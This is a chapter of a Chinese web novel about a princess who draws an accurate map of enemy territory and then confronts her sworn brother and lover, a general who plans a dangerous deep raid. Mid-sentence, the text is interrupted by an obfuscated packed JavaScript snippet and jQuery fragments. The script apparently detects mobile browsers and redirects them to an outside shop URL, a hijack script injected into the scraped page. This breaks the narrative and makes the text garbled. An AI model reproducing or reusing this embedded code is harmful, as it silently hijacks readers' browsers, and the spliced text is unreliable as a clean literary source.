李宴方将笔搁下,是画完的信号,众人皆盯着那一幅舆图,久久不语。
这时,突然有一位年迈的将军询问:“长公主可曾学过北戎语?”
李宴方活动手腕,如实答道:“不曾。”
老将军朝她投来赞许的目光,面带微笑地道:“长公主过目不忘,把北戎复杂文字都当作书画,记下每一个字形,这上百个注释的字眼写来精准无误。”
老将军正是邺国公范赟,他在北境驻守多年,习得些北戎语,所以能认出李宴方笔下的注释。
范赟今日受召前来,商议从攻下未州之事,却见到这位因功受封的长公主,李宴方能获得此等荣宠,绝非意外。
众人一听范国公此言,惊叹连连。
李宴方连那些乱如麻绳的小字都能记得分毫不差,还能一一“画”出,那些地势、重镇自然也不会出大差错。
但李宴方没有忘记先前约定好的对比,对着上首的太后道:“请太后派人对比。”
早在李宴方落笔前,太后已命人安排好,这时两名绘图的官员捧着历年绘制的舆图出现。
而对李宴方略有成见的王大人只能等待她被挑出错处,他垂下手,瞥开眼,如座中所有人一样,静待对比。
他们看见绘图官员眼底闪过惊诧,又看见绘图官员面上带着惊喜,看着两人低声商讨,露出赞许的表情。
待二人认真核对后道:“微臣二人已认真核对,我朝所画的舆图,皆与长公主笔下舆图对上无误,甚至长公主所绘更为详实精确。但微臣手中掌握的舆图有限,北戎腹地之处暂时无法对比。”
一经范国公赞许,二经绘图官校验,结果已然出炉,帐内响起众人的赞叹声、议论声,其中更有武将豪言壮语:“此番长公主巧施妙计,绘得北戎全域图,我等直捣黄龙,指日可待啊!”
武将们大多兴致勃勃,一人忙道:“那四条兵道狭窄崎岖,只要北戎扼守关隘,易守难攻,还得另想他法。”
那一位王大人见此情此景,心知是自己对李宴方的轻蔑错判一切,此时出列,恭敬而诚心对李宴方致歉:“长公主博闻强识,足智多谋,老夫拜服。”
正是帐内讨论与赞美之声四起,突然一位传令兵大喊“报——”
太后命他入内。
“我军大捷,已攻克未州!”
帐内又是一阵欢呼,其中一人有几分溜须拍马的样子,道:“长公主金口玉言,说今夜确有好消息,甚至是双喜临门,两件好事!”
众人应和,太后开口:“肃静,今夜本是为未州之战召集诸位应对,如今未州已攻下,众卿暂且退下安歇吧。”
众臣依次推出,李宴方心情已平复,她望向萧偃,心想终于有了二人相谈的时机。
可萧偃不退反进,对太后道:“微臣有一计要献与太后。”
太后见他胸有成竹,挥退左右,细听妙计。
而李宴方暂且退出营帐,临去之间望帐内望了一眼,萧偃自相见后透露着一股古怪,让李宴方摸不着头脑,心也沉了下来,一时思绪万千。
难道他……
是啊,世间看重女子名节,她差点被羞辱,他自然不快,难道是嫌弃了她么?
可明明没发生什么,李宴方都快要释然了,难道他还要耿耿于怀么?
萧偃对乌河部首领大施酷刑,究竟是为她出气,还是为自己出气?
从弟弟变成情人的微妙影响出现了吗,开始改变二人的关系了么?
又开始有话不说,有事不谈了么?
这样真的能当她的丈夫么?
李宴方心思重重,烦躁不已。
她回到自己的帐内,照清前来服侍,她已一日水米未进,但她心绪不宁,勉强喝了些汤水就再也没用膳。
她心烦意乱,焦灼地等待着,若是今夜萧偃不来寻她,那么她是否应该好好考虑分道扬镳的事情了……
一念及此,心头又割舍不下,二人之间既有亲情,而今又有情欲,早就像缠在一处的两根藤条,不分彼此了。
只能快刀斩乱麻。
唉,李宴方一声叹息,也许二人本就不该在一起,这其中也就不会生出那么多波折。
正是李宴方胡思乱想之际,萧偃一脸寒霜地掀帘而入,照清适时地退出。
李宴方走上前,正欲逼问其意,却见萧偃面不改色地在她面前双膝跪下。
还未解甲的将军猝然跪地,身上的甲胄发出一阵喧哗,就像崇山崩塌,江河翻覆。
李宴方被卷入其中,难以置信地问:“你这是要做什么?”
难道要跟她桥归桥,路归路?
心里的猜测逐渐得到印证,李宴方无可奈何地笑,可她分明嗅到鼻尖的酸意,品到舌尖的苦涩。
二人之间,居然要这般收场吗?
跪在李宴方身前的人,郑重其事地道:“微臣恳请殿下,来日微臣不在殿下身边,殿下切勿再以身犯险。”
“你跪下求我,以君臣身份进谏,只有这句话吗?你说来日,怎么,你要弃我于不顾?”
还是觉得她配不上他了?
可惜,这种自轻自贱的话李宴方问不出口。
萧偃没有直视她,也似乎听不懂她的阴阳怪气,只道:“沂州之战胜后,太后调我回崇州,重新接管驻扎在边境的三万飞捷。而今日我看到舆图上的四条兵道,难以短时间攻破,便决定从东北方向绕过幽燕山脉,突破其防线,深入腹地,直捣王都。”
李宴方不知怒从何起,也不知忧从何起,她反问:“孤军深入?”
他道:“趁其不备,攻其要害。”
李宴方呆愣一瞬,便也明白萧偃先前向太后献计,献的便是这以身犯险之计,他现在在她面前明言,分明就是先前已得到太后的允,让她彻底没有驳回的余地。
他说的“来日”就是指这一场可能有去无回的征伐。
李宴方懂了,她全都明白了,她一字一顿问道:“你这是在以牙还牙,以眼还眼的报复我?”
“因为你知道,我选择前往受降台必然是出于我自己的意愿,没有人可以逼迫我;你也知道,我就是个钻牛角尖的人,一旦认定便难以回头,所以你也不打算劝我,你知道劝不住。”
“所以你就报复我。”
李宴方眼里突然涌出热泪,她本觉得报复一词太重,可这一来一回不就是在互相
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183657|190369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捅刀子,往彼此最要害的敌方捅么?
“你也要让我尝一尝劝不住的滋味,以你自己的性命为赌注,是吗?”
“你真是疯子啊。”
“我不会死,但你会啊!”
她仰起脸,热泪滚滚而出。
萧偃平静地抬起头,他也终于仰视她,望着她梨花带雨的脸,他多么想替她拭去。
可他依旧没有起身,他只道:“比起我自己死,我更不愿意再看到你受到一丝一毫的委屈。若有千般万般的痛楚,由我来承受,但是你,不可以。”
“这种时刻,我希望你自私,你逃避,你明哲保身,你作壁上观,唯独不希望你为了我,为大义,去火中取栗。”
“可我又太了解你,我知道你不会。你总说自己自私自利,但一个会为万民请命的人,怎么可能会坐视不管?”
萧偃的心里有一轮高洁的明月,他多么希望浓云再也不要遮蔽她。
“所以我想出一个馊主意。是的,阿姊,是我在利用你,利用你对我的感情,我让它成为了束缚,成为了枷锁,成为你迈出那一步的顾及。”
“答应我,好吗?”
李宴方从没想过事情会变成这样,环环相扣,无处可解。
她仔细回溯,原来从幼时相伴开始,对彼此的相知与了解就埋下这一刻的前因,今天终于在风风雨雨的催促下爆发了。
一番对话好似抽尽李宴方所有的力气,她缓缓蹲下,平视萧偃。
他那一张深沉的、凝重的脸上没有流露半分退缩,更没有一分心虚,李宴方想,他一定从救到她的那一刻开始就计划这件事了,再到他看见幽燕山脉中的四条兵道,一个能够完美实施的计划完整成型。
李宴方讨厌被算计,更讨厌被如此精准地算计。
她更憎恨的是——算计的人是萧偃,算计的代价是他自己的性命,这让她手足无措,无法招架!
压抑悲痛中,李宴方遽然抬起手掌,萧偃抬起头,目不斜视,凝望着她那即将落下的愤怒。
掌风直逼面门,可又突然停下。
她现在连打他都舍不得,又怎么能舍得看他因报复她去闯龙潭虎穴?
萧偃骤然后悔了这一刻的逼迫与报复,他心头沉痛,酸楚的难舍之情瞬间淹没所有理智,他抱紧她,后悔万分。
他连看她难过都舍不得,又怎么能舍得看她中了自己处心积虑发出的利箭?
在如榫卯般紧密扣合相拥怀抱里,萧偃忙不迭地解释:“不会有事的。如今是八月,气候有利于我军北上,我也不会犯糊涂一意孤行,我已经寻好一路补给的路线,援兵也能从此处支援。”
萧偃捧起她泪光盈盈的脸,替她擦去泪痕,故作轻松地笑道:“东线洸江一带,阿姊一定记得。”
可她还没有被说服。
他有了几分无措,干脆破罐破摔。
“阿姊你知道么?慕容修除了懂兵法气象医术,还会卜卦问吉凶,他从未失手。早在你不是长公主的时候,他就算出我要尚公主,你看,我还没求娶你,我怎么会甘心死掉呢?”
李宴方听了这句,又哭又笑,抚着他焦急且慌乱的面庞,凝望久久不语。